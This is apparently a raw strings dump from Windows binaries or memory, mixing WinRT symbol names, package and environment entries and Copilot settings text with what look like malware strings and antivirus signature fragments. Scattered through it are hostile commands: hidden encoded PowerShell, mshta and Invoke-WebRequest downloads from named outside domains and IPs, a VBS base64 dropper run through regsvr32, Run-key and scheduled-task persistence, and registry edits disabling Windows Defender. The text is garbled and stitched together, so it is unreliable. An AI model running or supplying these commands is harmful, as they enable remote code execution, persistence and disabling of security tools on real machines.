.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
powershell-noprofile-windowstylehidden-executionpolicybypass-encodedcommand%pscommand%
)IRCexpandenvironmentstrings("%windir%")&"\syswow64\windowspowershell\v1.0\powershell.exe"
start-process-filepath$out-windowstylehidden
iwshshell3.run("c:\windows\
\windowsupdatervgv
:The visual skin to use when displaying the docked windows.
166^com.microsoft.windows.extensions.xaml.fileexplorer
68^com.microsoft.windows.telemetryid
C:\WINDOWS\System32\svchost.exe -k netsvcs -p
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
wow64_microsoft-windows-msvideodsp_31bf3856ad364e35_none_aaeba95f4767b3c5
wow64_microsoft-windows-msvp9dec_31bf3856ad364e35_none_64f706f0cd3a871c
wow64_microsoft-windows-msvpxenc_31bf3856ad364e35_none_64901e52cd89ce5b
wow64_microsoft-windows-msxml30.resources_31bf3856ad364e35_en-us_4273f2c9a66457ce
wow64_microsoft-windows-msxml30_31bf3856ad364e35_none_8d113b2e9d7fccff
wow64_microsoft-windows-msxml60.resources_31bf3856ad364e35_en-us_9b005a9782c66331
wow64_microsoft-windows-msxml60_31bf3856ad364e35_none_8d1140e09d7fc474
wow64_microsoft-windows-mtf_31bf3856ad364e35_none_61e27c866b37ded2
wow64_microsoft-windows-mui-settings_31bf3856ad364e35_none_a29ffe0c9228adb0
Kwindows_ie_ac_001S-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-InternetClienty
microsoft.windows.fontdrvhostS-1-5-18-Out-Block
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
windows
\programdata\windows genuine advantage\{........%-....%-....%-....%-............}\
c:\windows\system32\zipfldr.dll
winbootdir=C:\WINDOWS
COMSPEC=C:\WINDOWS\COMMAND.COM
PATH=C:\WINDOWS
= "://www.bitly.com/".copyfile "C:\Windows\System32\mshta.exe", Environ("PUBLIC") & "\peee.com", True"ERROR !!!": Call VBA.Shell _
mp\winlogon.vbs"exit
System.Windows.Forms.Design
get_DockPanel_DefaultFloatWindowSize_Description
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\system32\drivers\ioratZ|
\SystemRoot\System32\Drivers\Msfs.SYS
\SystemRoot\System32\Drivers\CimFS.SYS
to_bytes(32,sys.byteorder)aes=aes.new(key,aes.mode_ecb)defget_windows_version()
=replace(data,"|","")t1=replace(t0,"bart","")t2=replace(t1,"biboran","")t=t2dimd,e,b,ssetd=createobject("microsoft.xmldom")sete=d.createelement("e")e.datatype="bin.base64"e.text=tb=e.nodetypedvaluesetobjshell=createobject("wscript.shell")quick_launch_location="c://windows/temp/
-1.dll"sets=createobject("adodb.stream")s.opens.type=1s.writebs.savetofilequick_launch_location,2s.closeobjshell.run"c://windows/system32/regsvr32.exe"&quick_launch_location
Injuke.SKnModel@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@details@Concurrency@@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_14ed0e5aed50e5114434a81db9b0129c>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
WindowsCreateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
Windows-Edi
Windows-Edi
.?AU?$BridgeWrapper@Uhstring@winrt@@AEBUJsonArray@Json@Data@Windows@2@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@_NAEBUJsonArray@Json@Data@Windows@winrt@@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UJsonObject@Json@Data@Windows@winrt@@AEBUJsonArray@2345@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@_N@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UJsonArray@Json@Data@Windows@winrt@@U12345@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UBridge@WebExperienceHost@4@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@I@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UJsonValue@Json@Data@Windows@winrt@@AEBUJsonArray@2345@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonObjectResult@WebExperienceHost@winrt@@@Foundation@Windows@winrt@@UUri@234@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@I@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonArray@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@XAEBUBridge@WebExperienceHost@winrt@@AEBUJsonArray@Json@Data@Windows@3@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@XUJsonArray@Json@Data@Windows@winrt@@@implementation@WebExperienceHost@winrt@@
c:\windows\system32\cmd.exe/cstart..\winddowsupdatecheck\winddowsupdater.exe"..\winddowsupdatecheck\winddowsupdater.zip"&exit
=c:\windows\system32\cmd.exe/e/cstartmsiexec/package"http://gz.qa:8080/b8y8/elzh5ppzrt/v4l9/tg/%computername%"gmqdzdl=re-quiet
:The visual skin to use when displaying the docked windows.
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy2L
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy1E
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy04
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy.G
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy-D
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy,F
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy+H
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy)D
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy*D
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy(J
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy'J
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy&J
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy%J
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy$J
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy#P
 Policy bypass -noprofile -windowstyle hidden ".
("c:\windows\
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Iy\windows\system32\cmd.exe/c%cd%\7965\3516.jsc:.
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
Path=C:\WINDOWS\system32;
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
software\microsoft\windows nt\currentversion\winlogonhttp/1.1
c:\windows\system.ini
Microsoft.WindowsAppRuntime.Release!1.5.1}
Microsoft.WindowsAppRuntime.Insights.Resource.dll}
Microsoft.WindowsAppRuntime.dll}
Microsoft.WindowsAppRuntime.Bootstrap.dll}
Microsoft.Windows.Widgets.winmd}
Microsoft.Windows.Widgets.dll}
Microsoft.Windows.System.winmd}
Microsoft.Windows.System.Power.winmd}
Microsoft.Windows.Security.AccessControl.winmd}
Microsoft.Windows.PushNotifications.winmd}
Microsoft.Windows.Management.Deployment.winmd}
Microsoft.Windows.AppNotifications.winmd}
Microsoft.Windows.AppNotifications.Builder.winmd}
Microsoft.Windows.AppLifecycle.winmd}
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmd}
Microsoft.Windows.ApplicationModel.Resources.winmd}
Microsoft.Windows.ApplicationModel.Resources.dll}
Microsoft.Windows.ApplicationModel.DynamicDependency.winmd}
.?AU?$Property@V?$ComPtr@UITargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@WRL@Microsoft@@@Properties@@
.?AU?$Property@V?$ComPtr@UITargetedContentChangedEventArgs@TargetedContent@Services@Windows@ABI@@@WRL@Microsoft@@@Properties@@
.?AU?$Property@V?$ComPtr@UITargetedContentCollection@TargetedContent@Services@Windows@ABI@@@WRL@Microsoft@@@Properties@@
GetWindowSize
Microsoft.Windows.Print.SpoolerService
Microsoft.Windows.Print.PerfLib
Microsoft.Windows.Print.UalPrint
Microsoft.Windows.Print.SplLib
Microsoft.Windows.Print.PrvSpoolss
Microsoft.Windows.Print.Sandbox
Microsoft.Windows.Print.PrintPLM
Microsoft.Windows.Print.DevmodeSizePatch
,iwshshell3.regwrite("hkey_current_user\software\microsoft\windows\currentversion\run
Software\Microsoft\Windows\markus\Uninstall\skridrillenS
onenote for windows 10&
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-nop-sta-w1-enc
[c:\windows\system32\rundll32.exe\cursor.dat,qqqq!%systemroot%\system32\shell32.dll
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Microsoft.Windows.Bowser
Microsoft.Windows.Inventory.Core
Microsoft.Windows.Notifications.WnsCP
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxSapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
DWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayoutapp:immersive2026-02-20 16:13:45
j='dde"c:\\windows\\system32\\cmd.exe""/kcalc.exe
onenote for windows 10
SnapWindows
+name":"Microsoft.Windows.Defender.Shield.HardwareSecurityFt
Class":"Windows.Desktop"},"protocol`
windows.hlp`
F|Windows
OWS\system32;C @
\\WINDOWS11
schtasks/create/scminute/mo1/tn"vttimer"/tr%windir%\system32\windows.cmd/ru"system"
:\autorun.infshellexecute=windows.cmd
^/*    [*]keylog               */reg add hkcu\software\microsoft\windows\currentversion\run /vxcopy %cd%\autorun.inf /y /h /k /r %windir%\systray
wsreset.pdbmicrosoft.windows.enduser.wsresetm
control.pdbmicrosoft.windows.shell.controlmicrosoft.windows.common-controls!#HSTR:TrojanClicker:Win32/Agent.K
enumcapdevtelhelpc:\windows\system32\test.logwinvnciesocket_action_connect failed!#Adware:Win32/CloverPlus
%windows\cloverplus.cotminisearch.co.kr.php?client=%clientidclover_love%%windows\dhid.dh!#TEL:TrojanSpy:Win32/BBSwift.gen
:\windows\imecache\healthscripts\.+%.ps1$
s_windowsNewline
dwMaximumWindowSize
    name="Microsoft.Windows.PrintScan.Print.Spooler.SpoolSs.Server"
Microsoft.Windows.Cortana_cw5n1h2txyewy!
memchCallback@Internal@SharingPlatform@@@23@V?$AsyncBase@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@Foundation@Windows@@VNil@Details@WRL@Microsoft@@$00U?$AsyncOptions@$0?0$0A@$1?GUID_CAUSALITY_WINDOWS_PLATFORM_ID@@3U_GUID@@B$01@67@@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@U?$IAsyncOperation@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@Foundation@Windows@@U?$CloakedIid@UIDeviceCallback@Internal@SharingPlatform@@@23@V?$AsyncBase@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@Foundation@Windows@@VNil@Details@WRL@Microsoft@@$00U?$AsyncOptions@$0?0$0A@$1?GUID_CAUSALITY_WINDOWS_PLATFORM_ID@@3U_GUID@@B$01@67@@23@@WRL@Microsoft@@
.?AU?$DelegateInvokeHelper@U?$Implements@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@Foundation@Windows@@@WRL@Microsoft@@V<lambda_27584f379177d3770e112b794dc6d472>@@$0?0PEAU?$IAsyncOperation@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@67ABI@@@?$DelegateArgTraits@P8?$IAsyncOperationCompletedHandler_impl@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@Foundation@Windows@@EAAJPEAU?$IAsyncOperation@PEAU?$IVectorView@PEAUISessionIdentifier@SharingPlatform@@@Collections@Foundation@Windows@@@23@W4AsyncStatus@23ABI@@@Z@Details@WRL@Microsoft@@
.?AV?$_Func_impl_no_alloc@V<lambda_1adbbcf9cf4042d50216fe026d6ae732>@@XJPEAUIDataReader@Streams@Storage@Windows@@@std@@
 -windowstylehidden-executionpolicybypass
\windows defenderdisableantispy6
!")&"c:\users\public\autosystemwindowshandler.ps1
&s\system32\en-us\wmimgmt.msc'if($fakefile-ne$null-and
WindowsTelemetry
	WINDOWS\system32\cmd.exe9
LOGONSERVER=\\WINDOWS11 
OS=Windows_NT
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
      <Color Name="ToolWindowShelf">
pValue->CdfIdentity != Windows::Cdf::Rtl::CdfInvalidIdentityId()
!require windows!
c:\windows\Z
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
regadd"hklm\software\policies\microsoft\windowsdefender"/v"disableantispyware
GetProcessWindowStation
CloseWindowStation
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
DriverData=C:\Windows\System32\
(nSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
WINDOWS\system32.
c:\windows\system32\windowspowershell\v1.0\powershell.exe[system.diagnostics.process]::start('mshta.exe','http://spotcarservice.ru/fdjskf88cvt/yumba/123q.mp4')
52^windows.appExtension
4c^windows.internal.componentUI
4c^windows.appService
4c^windows.backgroundTasks
10^windows.protocol
11^windows.lockScreen
13^windows.appExtensionHost
GetProcessWindowStation
Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
WINDOWS11
WINDOWs
\SystemRoot\system32\drivers\pdc.sys
A-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
to group similar windowsF
Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
C:\WINDOWS\system32\drivers\ndis.sys[MofResourceName]
USERDOMAIN=Windows11
windir=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
shellexecute=c:\windows\system32\microsoft\canada.exe
software\microsoft\windows\currentversion\applets\scandisk\software\microsoft\windows\currentversion\run\firewallsystem.exedbs.datTrojan:AndroidOS/FakeBattScar.A
mozilla/4.0 (compatible; msie 5.0; windows 2000) opera 6.03 [en]mozilla/4.0 (compatible; msie 6.0; america online browser 1.1; rev1.5; windows nt 5.1;)mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; avant browser [avantbrowser.com]; iopus-i-m; qxw03416; .net clr 1.1.4322)mozilla/5.0 (windows; u; windows nt 5.1; en-us) applewebkit/525.19 (khtml, like gecko) chrome/0.4.154.25 safari/525.19 mozilla/5.0 (x11; u; linux i686 (x86_64); en-us; rv:1.8.1.6) gecko/2007072300 iceweasel/2.0.0.6 (debian-2.0.0.6-0etch1+lenny1)mozilla/4.0 (compatible; msie 7.0; windows nt 6.0)mozilla/5.0 (compatible; konqueror/3.5; linux 2.6.15-1.2054_fc5; x11; i686; en_us) khtml/3.5.4 (like gecko)mozilla/5.0 (windows; u; windows nt 5.1; ru; rv:1.8.1.19) gecko/20081201 firefox/2.0.0.19 mozilla/5.0 (x11; u; linux i686; en-us; rv:1.8.0.2) gecko/20060308 firefox/1.5.0.2mozilla/4.0 (compatible; msie 8.0; windows nt 6.0; wow64; trident/4.0; slcc1; .net clr 2.0.50727; .net clr 3.5.21022; .net clr 3.5.30729; .net clr 3.0.30618)\tmp.exe
software\microsoft\windows\security center\svc
/c REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update SP8" /t REG_EXPAND_SZ /d "%systemdir%\Windows UpdateSP8.exe" /f
WindowsUpdaterKB
/tn "adobe flash player update" /tr "c:\windows\system32\rundll32.exe
c:\windows\system32\
c:\windows\
c:\windows\
 (Windows NT 5.1; Ucheck; en)
 (Windows NT 5.1; U; en) Presto/2.5.22 Version/10.51
C:\WINDOWS\system32\cmd.exe /c ipconfig |tion
c:\windows\system32\
"\windows\_default
\windows\
\windows\system32\
c:\windows\system32\
c:\windows\system32\
"c:\windows\system32\cmd.exe" /c ping 
:\windows\media\
:\windows\media\
:\windows\media\
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\
unhookwindowshookex
!#ALF:SIGA:SuspiciousBehavior:OperateInSystem32.S01
c:\windows\system32\
c:\windows\system32\
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows powershell
microsoft windows [version 
c:\windows\system32\drivers\
c:\windows\system32\drivers\
QWindowsContext::setProcessDpiAwareness
_q_windowsDropShadow
QWindowsContext::registerWindowClass
QWindowsContext::windowsProc
qWindowsWndProc
QWindowsScreen::topLevelAt
QWindowsScreen::windowAt
QWindowsScreenManager::handleDisplayChange
QWindowsKeyMapper::updatePossibleKeyCodes
QWindowsKeyMapper::possibleKeys
ile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
 \system32\cmd.exe"
test_folder\windowssecurityinstaller.exe
start-process-filepath$exepath-workingdirectory$trackerdir-windowstylehidden}else{exit
?#mainexecutionstart-process"https://admin.booking.com"-windowstylehidden#runinstallationinstall-timetracker
(c:\windows\system32
?=dsystem32(c:\windows)
msiexec.exe@i)aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe91spsmdphh@.=xhh=ikuop
c:\windows\system32\cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://elisehaas.fr/file/
~c:\windows\system32\cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://lundellmx.se/file/
K&schtasks/create/tn"msintelupdates"/f/scminute/mo15/tr"conhost--headlesspowershell-windowstyleminimizedirm"tartaakademi.com/
1start-process-filepath"powershell.exe"-windowstylehidden-argumentlist'-noprofile-whidden-command"$data=([text.encoding]::utf8.getstring((&(\"{0}{1}{2}\"-f[char]((
-localappdata%\intei\"&&xcopy/y/h/s/e.\iphlplapi.dll"%localappdata%\intei\"&&xcopy/y/h/s/e.\wksprt.lnk"%appdata%\microsoft\windows\startmenu\programs\startup\"&&attrib-h"%appdata%\microsoft\windows\startmenu\programs\startup\wksprt.lnk"
carew.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\zonealarmpro
~*~c:\windows\system32\cmd.exe/cp""ow""er""s""h""ell/""w0""1$jufn='i'+'e'+''+'x';s""albx1g$jufn;
0C..\windows\system32\cmd.exe/cstandby\fowls.cmdregsc:\windows\system32\shell32.dll%systemroot%
SDZV..\windows\system32\cmd.exe)/calphabetical\
.cmdvr32.exec:\windows\explorer.exe%systemroot%
 .dat&&%windir%\system32\regsvr32%temp%\
+7'powershell.exen.powershell.exeb..\..\..\..\windows\system32\windowspowershell\v1.0\powershell.exe
dows\system32\wscript.exe"\\skills-deeply-managing-cake.trycloudflare.com@ssl\davwwwroot\dat.wsh"
=wscript.createobject("wscript.shell")windir=shell.expandenvironmentstrings("%windir%\system32\")
xgetmethods([system.reflection.bindingflags]::static-bor[system.refwindows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noexit-command"
start-process-windowstylehidden-filepath"$($env:windir)\system32\makecab.exe"-argumentlist"$ssource
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
|ej&u;x'/ec:\windows\wd4sx.wmfwd4sx.wmfc:\windows\wd4sx.wmf
-noprofile-windowsty","","
Microsoft Windows
zAc:\windows\system32\mshta.exe"\\
windows\system32\
Windows has detected s8
start-process-filepath'powershell.exe'-windowstylehidden-argumentlist'-noprofile','-encodedcommand',$enccmd
WindowsFormsApp1.pdbTelegramWorker/senddocument/
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
        subtitle.text: _("MoveWindowSecondaryTextDone")
10^com.microsoft.windows.extensionpackage
com.microsoft.windows.extensionpackage
12^com.microsoft.windows.extensionpackage
[*Simum4);set-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
/cmkdirc:\fqrb&cd/dc:\fqrb&copyc:\windows\system32\curl.exefqrb.exe&fqrb-h"user-agent:curl"-oautoit3.exehttp://5.188.87.58:2351&fqrb-o
 = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0" = Environ$("AppData") & "\
C:\windows\system32\cmd.exe /c (
vk.com>>%systemroot%\system32\drivers\etc\%
echo---disablemicrosoftdefenderetwprovider(windowseventlogs)
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
bdows\system32\cmd.execmd/crobocopy%cd%%temp%bang_tinh_thue_2025.xlsx.lnk
echofso.deletefile"%systemdrive%\windows\system32\rundll32.dat">>%systemdrive%\windows\system32\rundll32.vbs
;regadd"hklm\software\policies\microsoft\windowsdefender\spynet"/v"disableblockatfirstseen"/treg_dword/d"1"/f
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
f \software\microsoft\internet explorer\new windows
c:\windows\system32\
c:\windows\system32\
:\windows\system32\win.dll\win.exe
:\windows\system32\win.dll\script1.txt
C:\Windows\EncryptSynapticsC
^windows.mediaCodeF
80^windows.protocol$
Windows Produc'
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe
29^windows.comInterface
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
.?AU?$root_implements@UServicesPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$root_implements@UDetailsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
